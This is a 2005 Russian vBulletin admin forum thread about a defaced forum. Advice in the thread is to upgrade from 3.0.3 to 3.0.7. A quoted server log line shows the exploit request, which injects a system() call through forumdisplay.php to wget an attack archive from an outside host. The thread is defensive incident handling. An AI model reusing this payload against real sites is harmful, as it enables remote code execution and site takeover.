Главная :: Форум :: Web ClipArt :: Поиск :: Статистика :: Топ 10 :: Публикация :: Рекомендовать
netadmin.ws
Панель управления Регистрция свободна! Календарь Список пользователей Часто задаваемые вопросы Поиск по форуму Архив скриптов Главная   
Форум сетевых администраторов
Форум сетевых администраторов Форум сетевых администраторов » Веб Форумы » VBulletin 3.x.x » взлом
Предыдущая тема     Следующая тема
Автор
Тема    Новая тема     Ответить на эту тему
SIN
Участник+
Средний рейтинг: 4.43 | Оценок: 7
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Mar 2002
Место проживания: Москва
Публикаций: 153
Статус: SIN в оф-лайне
взлом [сообщение #75876]

грозились когда-то взломать... вот что-то началось...
я сам не видел но мне написали:

короче сегодня несколько человек заметили странные сообщения на форуме, и один успел заскриншотить, вот что он видел:

quote:
потом там было еще 2-4 таблички
с темой что если вы не хотите этого то напишите или пообщайтесь со мной по адресу такому-то
и мыло на яндексе
такойто_Ха-кер@yandex.ru
что то похожее


Подскажите что делать?

Файл: взлом.jpg
Был скачан 55 раз(а).

__________________
Жду ответа как байкер лета!

Сообщение было отредактировано SIN 15-04-2005 в 14:28

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 14-04-2005 22:38
Нажмите сюда для просмотра профайла SIN Отправить Персональное сообщение SIN Найти сообщения от SIN Добавить SIN в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя
miXei
Консультант по vB
Средний рейтинг: 4.2 | Оценок: 10
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Mar 2002
Место проживания: www.mixei.ru
Публикаций: 363
Статус: miXei в оф-лайне
[сообщение #75893]

SIN
А какие-нибудь подозрения есть, от чего может возникать окошко?
Следы на форуме какие-нибудь остались?

Какая кстати версия форума?

__________________
miXei.ru - Дискуссионный клуб

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 15-04-2005 11:23
Нажмите сюда для просмотра профайла miXei Отправить Персональное сообщение miXei Посетить домашнию страничку miXei! Найти сообщения от miXei Добавить miXei в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя
SIN
Участник+
Средний рейтинг: 4.43 | Оценок: 7
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Mar 2002
Место проживания: Москва
Публикаций: 153
Статус: SIN в оф-лайне
[сообщение #75896]

версия форума 303, короче скрипт взлома закачен на сервер с помощью запроса... мне саппорт "мажордомо" помогли разобраться...
вот что они мне ответили:

quote:
Здравствуйте,
ну вот, разобрался.
"Шуточки" эти делались сегодня с помощью скрипта http://www.форум.мой_сай...²злома.php


А скрипт был закачан при помощи уязвимости, описанной в этом запросе:
www.мой_сайт.ru-access.log.1.gz:62.139.191.17 - - [12/Apr/2005:13:54:21 +0400] "GET /forumdisplay.php?f=11&GLOBALS[]=1&comma={${system($cmd)}}{${exit()}}&cmd=wget%20http://www.нехороший_адрес.com/хак_взлома.zip HTTP/1.1" 200 14719 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"


что скажете?

__________________
Жду ответа как байкер лета!

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 15-04-2005 12:08
Нажмите сюда для просмотра профайла SIN Отправить Персональное сообщение SIN Найти сообщения от SIN Добавить SIN в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя
ValeRa+
Правая рука Paul'я
Средний рейтинг: 4.17 | Оценок: 6
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Sep 2002
Место проживания: Киев, Украина
Публикаций: 297
Статус: ValeRa+ в оф-лайне
[сообщение #75897]

SIN
Ставь себе 3.0.7 и проблем не будет: Именно в это версии, закрыта серьёзная дырка в форуме.

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 15-04-2005 13:43
Нажмите сюда для просмотра профайла ValeRa+ Отправить Персональное сообщение ValeRa+ Посетить домашнию страничку ValeRa+! Найти сообщения от ValeRa+ Добавить ValeRa+ в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя
SIN
Участник+
Средний рейтинг: 4.43 | Оценок: 7
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Mar 2002
Место проживания: Москва
Публикаций: 153
Статус: SIN в оф-лайне
[сообщение #75901]

ValeRa+
3.0.7 помоему уже давно вышла, я вот думаю может 3.0.8 скоро пояаится?..

__________________
Жду ответа как байкер лета!

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 15-04-2005 14:24
Нажмите сюда для просмотра профайла SIN Отправить Персональное сообщение SIN Найти сообщения от SIN Добавить SIN в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя
miXei
Консультант по vB
Средний рейтинг: 4.2 | Оценок: 10
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Mar 2002
Место проживания: www.mixei.ru
Публикаций: 363
Статус: miXei в оф-лайне
[сообщение #75907]

SIN
Так ты сам ответил на свой вопрос.
Даже уязвимость указал, которая на 3.0.3 как раз.
Я из-за этого поставил в свое время 3.0.5, потом созрел на очередное обновление.

Ставь 3.0.7 и не жди обновления, прикроешь свои дырки в первую очередь и исправишь глюки.
7-ая стабильная, и ждать чего-то можно долго, только нужно ли рисковать, тем более в твоей ситуации.

__________________
miXei.ru - Дискуссионный клуб

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 15-04-2005 15:42
Нажмите сюда для просмотра профайла miXei Отправить Персональное сообщение miXei Посетить домашнию страничку miXei! Найти сообщения от miXei Добавить miXei в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя
SIN
Участник+
Средний рейтинг: 4.43 | Оценок: 7
/нажмите чтобы посмотреть кто оценивал/

Зарегистрирован: Mar 2002
Место проживания: Москва
Публикаций: 153
Статус: SIN в оф-лайне
[сообщение #75926]

miXei, да, ответил, после того как нашли...
спасибо за совет, наверное буду обновлять ща...

__________________
Жду ответа как байкер лета!

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Old Post 16-04-2005 22:09
Нажмите сюда для просмотра профайла SIN Отправить Персональное сообщение SIN Найти сообщения от SIN Добавить SIN в свой список друзей Редактировать/Удалить сообщение Ответить Цитируя



Формат времени GMT. Текущее время 16:43.
Новая тема   Ответить на эту тему [ Версия для печати Печать | Отправить эту страницу другу/знакомому! Отправить | Получать уведомления об обновлении этой темы Подписка ] Предыдущая тема     Следующая тема
Навигация по форуму:
Оценка темы:

Правила форума:
Вы не можете создавать новые темы.
Вы не можете отвечать на существующие темы.
Вы не можете прикреплять файлы.
Вы не можете редактировать свои сообщения.
HTML теги выкл.
Спец. код вкл.
Смайлики вкл.
[IMG] тег выкл.
 

Page generated in 0.00959396 seconds (50.51% PHP - 49.49% MySQL) with 26 queries.


  Главная :: Форум :: Web ClipArt :: Поиск :: Статистика :: Топ 10 :: Публикация :: Рекомендовать
©NetAdmin.ws, 2001-2026.
Powered by: vBulletin
Copyright ©2000, 2001, Jelsoft Enterprises Limited.